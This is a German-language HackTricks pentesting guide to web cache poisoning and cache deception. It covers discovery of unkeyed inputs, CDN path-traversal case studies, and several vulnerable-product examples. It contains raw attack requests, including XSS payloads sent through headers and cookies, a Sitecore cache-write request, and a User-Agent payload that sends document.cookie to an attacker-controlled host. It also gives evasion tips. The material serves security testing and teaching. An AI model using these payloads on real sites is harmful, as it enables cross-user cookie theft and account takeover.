Cache Poisoning and Cache Deception
Reading time: 18 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Der Unterschied
Was ist der Unterschied zwischen web cache poisoning und web cache deception?
- In web cache poisoning veranlasst der Angreifer, dass die Anwendung bösartigen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Anwender der Anwendung ausgeliefert.
- In web cache deception veranlasst der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
Cache Poisoning
Cache poisoning zielt darauf ab, den clientseitigen Cache zu manipulieren, um Clients dazu zu bringen, Ressourcen zu laden, die unerwartet, unvollständig oder unter der Kontrolle eines Angreifers stehen. Das Ausmaß der Auswirkungen hängt von der Popularität der betroffenen Seite ab, da die vergiftete Antwort ausschließlich an Benutzer ausgeliefert wird, die die Seite während der Phase der Cache-Kontamination besuchen.
Die Durchführung eines Cache Poisoning-Angriffs umfasst mehrere Schritte:
- Identification of Unkeyed Inputs: Dabei handelt es sich um Parameter, die zwar nicht erforderlich sind, damit eine Anfrage gecached wird, aber die vom Server zurückgegebene Antwort verändern können. Das Identifizieren dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
- Exploitation of the Unkeyed Inputs: Nachdem die unkeyed Inputs identifiziert wurden, besteht der nächste Schritt darin, herauszufinden, wie diese Parameter missbraucht werden können, um die Serverantwort zu verändern und dem Angreifer einen Vorteil zu verschaffen.
- Ensuring the Poisoned Response is Cached: Der letzte Schritt besteht darin sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Nutzer, der die betroffene Seite während der Cache-Vergiftungsphase aufruft, die verfälschte Antwort.
Discovery: Check HTTP headers
Normalerweise, wenn eine Antwort im Cache gespeichert wurde, gibt es einen Header, der das anzeigt. Welche Header du beachten solltest, kannst du in diesem Beitrag nachschlagen: HTTP Cache headers.
Discovery: Caching error codes
Wenn du vermutest, dass eine Antwort in einem Cache gespeichert wird, könntest du versuchen, Requests mit einem fehlerhaften Header zu senden, auf die normalerweise mit einem Statuscode 400 geantwortet werden sollte. Versuche dann, die Anfrage normal aufzurufen — wenn die Antwort ein 400-Statuscode ist, weißt du, dass es verwundbar ist (und du könntest sogar einen DoS durchführen).
You can find more options in:
Beachte jedoch, dass manchmal solche Statuscodes nicht gecached werden, sodass dieser Test nicht zuverlässig sein kann.
Discovery: Identify and evaluate unkeyed inputs
Du kannst Param Miner verwenden, um Parameter und Header per Brute-Force zu testen, die ggf. die Antwort der Seite verändern. Zum Beispiel könnte eine Seite den Header X-Forwarded-For
verwenden, um dem Client anzuzeigen, das Script von dort zu laden:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Einen schädlichen Response vom Back-end-Server hervorrufen
Mit dem identifizierten Parameter/Header prüfe, wie er bereinigt wird und wo er im Response reflektiert wird oder den Response beeinflusst. Kannst du ihn trotzdem missbrauchen (eine XSS ausführen oder ein von dir kontrolliertes JS laden? einen DoS ausführen?...)
Den Response cachen
Sobald du die Seite identifiziert hast, die missbraucht werden kann, welchen Parameter/Header du verwenden musst und wie du ihn missbrauchen kannst, musst du die Seite in den Cache bekommen. Je nach Ressource, die du cachen möchtest, kann das einige Zeit dauern; du musst möglicherweise mehrere Sekunden versuchen.
Der Header X-Cache
im Response kann sehr nützlich sein, da er den Wert miss
haben kann, wenn die Anfrage nicht gecached wurde, und den Wert hit
, wenn sie gecached ist.
Der Header Cache-Control
ist ebenfalls interessant, um zu wissen, ob eine Ressource gecached wird und wann die Ressource als Nächstes gecached wird: Cache-Control: public, max-age=1800
Ein weiterer interessanter Header ist Vary
. Dieser Header wird oft verwendet, um zusätzliche Header anzugeben, die als Teil des cache key behandelt werden, auch wenn sie normalerweise nicht als Key verwendet werden. Daher kann ein Angreifer, der den User-Agent
des Opfers kennt, den Cache für Nutzer mit genau diesem User-Agent
poisonen.
Ein weiterer Header im Zusammenhang mit dem Cache ist Age
. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
Beim Cachen einer Anfrage sei vorsichtig mit den Headern, die du verwendest, denn einige von ihnen könnten unerwartet als keyed verwendet werden und das Opfer muss denselben Header benutzen. Teste eine Cache Poisoning immer mit verschiedenen Browsern, um zu prüfen, ob es funktioniert.
Exploit-Beispiele
Einfachstes Beispiel
Ein Header wie X-Forwarded-For
wird ungefiltert im Response reflektiert.
Du kannst eine einfache XSS-Payload senden und poison the cache, sodass jeder, der die Seite aufruft, eine XSS ausgesetzt wird:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Beachte, dass dies eine Anfrage an /en?region=uk
vergiftet, nicht an /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup wird folgendes einfaches Szenario erklärt:
- Das CDN cached alles unter
/share/
- Das CDN decodiert bzw. normalisiert
%2F..%2F
NICHT, daher kann es als path traversal verwendet werden, um auf andere sensible Orte zuzugreifen, die gecached werden, z. B.https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- Der Webserver decodiert und normalisiert
%2F..%2F
und antwortet mit/api/auth/session
, welches den Auth-Token enthält.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies können auch in der Antwort einer Seite reflektiert werden. Wenn du das missbrauchen kannst, um zum Beispiel eine XSS zu verursachen, könntest du XSS in mehreren Clients ausnutzen, die die bösartige Cache-Antwort laden.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Beachte, dass wenn das verwundbare Cookie häufig von Nutzern verwendet wird, normale Anfragen den Cache leeren.
Generating discrepancies with delimiters, normalization and dots
Siehe:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains wie es möglich war, einen OpenAI API key mit einer URL wie https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
zu stehlen, weil alles, was auf /share/*
passt, gecached wird, ohne dass Cloudflare die URL normalisiert — die Normalisierung fand erst beim Webserver statt.
Das wird auch besser erklärt in:
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
Manchmal musst du mehrere nicht als Cache-Key berücksichtigte Eingaben ausnutzen, um einen Cache missbräuchlich zu verwenden. Zum Beispiel kannst du ein Open redirect finden, wenn du X-Forwarded-Host
auf eine von dir kontrollierte Domain und X-Forwarded-Scheme
auf http
setzt. Wenn der Server alle HTTP-Anfragen auf HTTPS weiterleitet und den Header X-Forwarded-Scheme
als Domainnamen für das Redirect verwendet, kannst du steuern, wohin die Seite durch die Weiterleitung zeigt.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploiting mit eingeschränktem Vary
header
Wenn du feststellst, dass der X-Host
Header als domain name to load a JS resource verwendet wird, der Vary
Header in der Antwort aber User-Agent
angibt, musst du einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu poisonen:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Sende eine GET-Anfrage, bei der dieselben Parameter sowohl in der URL als auch im Body stehen. Wenn der web server den aus dem Body verwendet, der cache server jedoch den aus der URL cached, wird jeder, der diese URL aufruft, tatsächlich den Parameter aus dem Body verwenden. Wie die vuln, die James Kettle auf der Github-Website gefunden hat:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There is a PortSwigger-Lab dazu: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Zum Beispiel ist es möglich, Parameter auf ruby-Servern mit dem Zeichen ;
statt &
zu trennen. Dies kann verwendet werden, um unbenannte Parameterwerte innerhalb von benannten Parametern zu platzieren und auszunutzen.
PortSwigger-Lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Hier erfährst du, wie man Cache Poisoning attacks by abusing HTTP Request Smuggling durchführt.
Automated testing for Web Cache Poisoning
Der Web Cache Vulnerability Scanner kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist sehr anpassbar.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Dieses reale Muster verkettet eine header-basierte reflection-Primitive mit CDN/WAF-Verhalten, um zuverlässig das zwischengespeicherte HTML zu vergiften, das anderen Nutzern ausgeliefert wird:
- Das Haupt-HTML reflektierte einen nicht vertrauenswürdigen Request-Header (z. B.
User-Agent
) in einen ausführbaren Kontext. - Das CDN entfernte Cache-Header, aber es existierte ein interner/origin Cache. Das CDN cached außerdem automatisch Requests mit statischen Endungen (z. B.
.js
), während der WAF bei GETs für statische Assets eine schwächere Inhaltsprüfung anwendete. - Eigenheiten im Request-Fluss ermöglichten es, dass eine Anfrage an einen
.js
-Pfad den Cache-Key/-Variante beeinflusste, der für das anschließende Haupt-HTML verwendet wurde, wodurch Cross-User XSS via Header-Reflection möglich wurde.
Praktische Anleitung (beobachtet bei einem weitverbreiteten CDN/WAF):
- Von einer sauberen IP (vermeide vorherige reputationsbasierte Abwertungen) setze einen bösartigen
User-Agent
über den Browser oder Burp Proxy Match & Replace. - In Burp Repeater bereite eine Gruppe von zwei Requests vor und nutze "Send group in parallel" (Single-Packet-Modus funktioniert am besten):
- Erste Anfrage: GET auf eine
.js
-Ressource auf derselben Origin, während du deinen bösartigenUser-Agent
sendest. - Unmittelbar danach: GET die Hauptseite (
/
).
- Das Routing-Rennen des CDN/WAF zusammen mit dem automatisch gecachten
.js
führt oft dazu, dass eine vergiftete gecachte HTML-Variante erzeugt wird, die dann anderen Besuchern serviert wird, die dieselben Cache-Key-Bedingungen teilen (z. B. gleicheVary
-Dimensionen wieUser-Agent
).
Beispiel Header-Payload (zum Exfiltrieren von non-HttpOnly-Cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Viele CDNs verschleiern Cache-Header; poisoning kann sich möglicherweise erst in mehrstündigen Refresh-Zyklen zeigen. Verwende mehrere vantage IPs und throttle, um Rate-Limits oder Reputation-Trigger zu vermeiden.
- Die Verwendung einer IP aus der Cloud des CDN verbessert manchmal die Routing-Konsistenz.
- Wenn eine strikte CSP vorhanden ist, funktioniert das trotzdem, sofern die reflection im main HTML context ausgeführt wird und CSP inline execution erlaubt oder durch den Kontext umgangen wird.
Impact:
- Wenn Session-Cookies nicht
HttpOnly
sind, ist ein zero-click ATO möglich, indemdocument.cookie
massenhaft exfiltriert wird von allen Nutzern, die das poisoned HTML erhalten.
Defenses:
- Reflektiere keine request headers ins HTML; falls unvermeidbar, strikt context-encode. Stimme CDN- und origin cache policies ab und vermeide Varying auf untrusted headers.
- Stelle sicher, dass WAF Content-Inspection konsistent auf
.js
requests und statische Pfade anwendet. - Setze
HttpOnly
(undSecure
,SameSite
) auf Session-Cookies.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Ein Sitecore‑spezifisches Muster ermöglicht nicht authentifizierte Schreibvorgänge in den HtmlCache, indem pre‑auth XAML handlers und AjaxScriptManager reflection missbraucht werden. Wenn der Sitecore.Shell.Xaml.WebControl
-Handler erreicht wird, steht ein xmlcontrol:GlobalHeader
(abgeleitet von Sitecore.Web.UI.WebControl
) zur Verfügung und der folgende reflective call ist erlaubt:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
This schreibt beliebiges HTML unter einem vom Angreifer gewählten cache key und ermöglicht präzises Poisoning, sobald die cache keys bekannt sind.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Verwundbare Beispiele
Apache Traffic Server (CVE-2021-27577)
ATS hat das Fragment in der URL weitergeleitet, ohne es zu entfernen, und den cache key nur unter Verwendung von host, path und query erzeugt (das Fragment wurde also ignoriert). Daher wurde die Anfrage /#/../?r=javascript:alert(1)
an das backend als /#/../?r=javascript:alert(1)
gesendet und der cache key enthielt die Nutzlast nicht, sondern nur host, path und query.
GitHub CP-DoS
Das Senden eines ungültigen Werts im content-type Header löste eine gecachte 405-Antwort aus. Der cache key enthielt das cookie, sodass ein Angriff nur gegen nicht authentifizierte Benutzer möglich war.
GitLab + GCP CP-DoS
GitLab verwendet GCP buckets zur Speicherung statischer Inhalte. GCP Buckets unterstützen den Header x-http-method-override
. Daher war es möglich, den Header x-http-method-override: HEAD
zu senden und den Cache so zu vergiften, dass ein leerer Response-Body zurückgegeben wurde. Es wurde auch Unterstützung für die Methode PURGE
festgestellt.
Rack Middleware (Ruby on Rails)
In Ruby on Rails-Anwendungen wird häufig Rack Middleware verwendet. Zweck des Rack-Codes ist es, den Wert des x-forwarded-scheme
Headers zu übernehmen und als scheme der Anfrage zu setzen. Wenn der Header x-forwarded-scheme: http
gesendet wird, erfolgt ein 301-Redirect zur gleichen Location, was potenziell einen Denial of Service (DoS) gegen diese Ressource verursachen kann. Zusätzlich könnte die Anwendung den X-forwarded-host
Header beachten und Benutzer auf den angegebenen Host umleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
403 und Storage Buckets
Cloudflare hat früher 403-Antworten gecached. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Authorization-Headern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Obwohl Cloudflare das Cachen von 403-Antworten eingestellt hat, kann dieses Verhalten in anderen Proxy-Services weiterhin vorkommen.
Injizieren von keyed Parameters
Caches schließen oft bestimmte GET-Parameter in den cache key ein. Beispielsweise hat Fastly's Varnish den size
-Parameter in Requests gecached. Wenn jedoch eine URL-encoded Version des Parameters (z. B. siz%65
) mit einem falschen Wert gesendet wurde, wurde der cache key mit dem korrekten size
-Parameter konstruiert. Das Backend verarbeitete jedoch den Wert im URL-encodierten Parameter. Das URL-encoden des zweiten size
-Parameters führte dazu, dass er vom Cache ignoriert, aber vom Backend verwendet wurde. Dem Parameter den Wert 0 zuzuweisen führte zu einem cachebaren 400 Bad Request Fehler.
User Agent Regeln
Einige Entwickler blockieren Anfragen mit User-Agents, die denen von stark frequentierten Tools wie FFUF oder Nuclei entsprechen, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie cache poisoning und DoS einführen.
Illegale Header-Felder
Die RFC7230 spezifiziert die zulässigen Zeichen in Header-Namen. Header, die Zeichen außerhalb des angegebenen tchar-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler cached, solange der cache-control
Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie \
, zu einem cachebaren 400 Bad Request Fehler führte.
Neue Header finden
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Das Ziel von Cache Deception ist es, Clients dazu zu bringen, Ressourcen zu laden, die vom Cache zusammen mit ihren sensitiven Informationen gespeichert werden.
Beachte zuerst, dass Extensions wie .css
, .js
, .png
usw. normalerweise so konfiguriert sind, dass sie im cache gespeichert werden. Wenn du also www.example.com/profile.php/nonexistent.js
aufrufst, wird die Antwort wahrscheinlich vom Cache gespeichert, weil die .js
extension erkannt wird. Wenn jedoch die application mit den sensitiven Benutzerdaten aus www.example.com/profile.php antwortet, kannst du diese Inhalte von anderen Benutzern stehlen.
Weitere Dinge zum Testen:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Verwende weniger bekannte Extensions wie
.avif
Ein weiteres sehr klares Beispiel findet sich in diesem Write-up: https://hackerone.com/reports/593712.
Darin wird erklärt, dass wenn du eine nicht existierende Seite wie http://www.example.com/home.php/non-existent.css aufrufst, der Inhalt von http://www.example.com/home.php (mit den sensitiven Informationen des Benutzers) zurückgegeben und vom Cache-Server gespeichert wird.
Anschließend kann der Angreifer http://www.example.com/home.php/non-existent.css in seinem eigenen Browser aufrufen und die vertraulichen Informationen der Benutzer einsehen, die zuvor zugegriffen haben.
Beachte, dass der cache proxy so konfiguriert sein sollte, Dateien basierend auf der extension der Datei (.css) zu cachen und nicht basierend auf dem content-type. Im Beispiel hat http://www.example.com/home.php/non-existent.css einen text/html
content-type anstelle eines text/css
mime type.
Lerne hier, wie man Cache Deceptions durch den Missbrauch von HTTP Request Smuggling durchführt: [../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception].
Automatische Tools
- toxicache: Golang-Scanner, um web cache poisoning Schwachstellen in einer Liste von URLs zu finden und mehrere Injection-Techniken zu testen.
Referenzen
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.